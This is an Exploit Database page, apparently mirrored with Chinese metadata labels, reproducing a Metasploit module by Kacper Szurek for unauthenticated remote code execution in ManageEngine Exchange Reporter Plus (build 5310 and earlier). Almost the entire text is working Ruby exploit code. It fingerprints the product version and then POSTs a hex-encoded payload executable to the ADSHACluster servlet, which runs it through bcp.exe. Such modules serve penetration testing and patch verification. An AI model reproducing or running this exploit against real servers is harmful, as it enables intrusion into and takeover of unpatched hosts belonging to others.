Manage Engine Exchange Reporter Plus – Remote Code Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2018-07-13
• 类别：

  • remote
  平台：

  • java
• 来源：https://www.exploit-db.com/exploits/45018/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule< Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',
  'Description'=> %q{
  This module exploits a remote code execution vulnerability that
  exists in Exchange Reporter Plus <= 5310, caused by execution of
  bcp.exe file inside ADSHACluster servlet
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Kacper Szurek <kacperszurek@gmail.com>'
  ],
  'References' =>
  [
  ['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']
  ],
  'Platform' => ['win'],
  'Arch' => [ARCH_X86, ARCH_X64],
  'Targets'=> [['Automatic', {}]],
  'DisclosureDate' => 'Jun 28 2018',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
  Opt::RPORT(8181),
  ])
  
  end
  
  def bin_to_hex(s)
  s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
  end
  
  def check
  res = send_request_cgi({
  'method' => 'POST',
  'uri'=> normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
  })
  
  unless res
  vprint_error 'Connection failed'
  return CheckCode::Safe
  end
  
  unless res.code == 200
  vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
  return CheckCode::Safe
  end
  
  begin
  json = res.get_json_document
  raise if json.empty? || !json['BUILD_NUMBER']
  rescue
  vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
  return CheckCode::Safe
  end
  
  vprint_status "Version: #{json['BUILD_NUMBER']}"
  
  if json['BUILD_NUMBER'].to_i <= 5310
  return CheckCode::Appears
  end
  
  CheckCode::Safe
  end
  
  def exploit
  res = send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
  'vars_post' => {
  'MTCALL'=> "nativeClient",
  'BCP_RLL' => "0102",
  'BCP_EXE' => bin_to_hex(generate_payload_exe)
  }
  })
  end
  end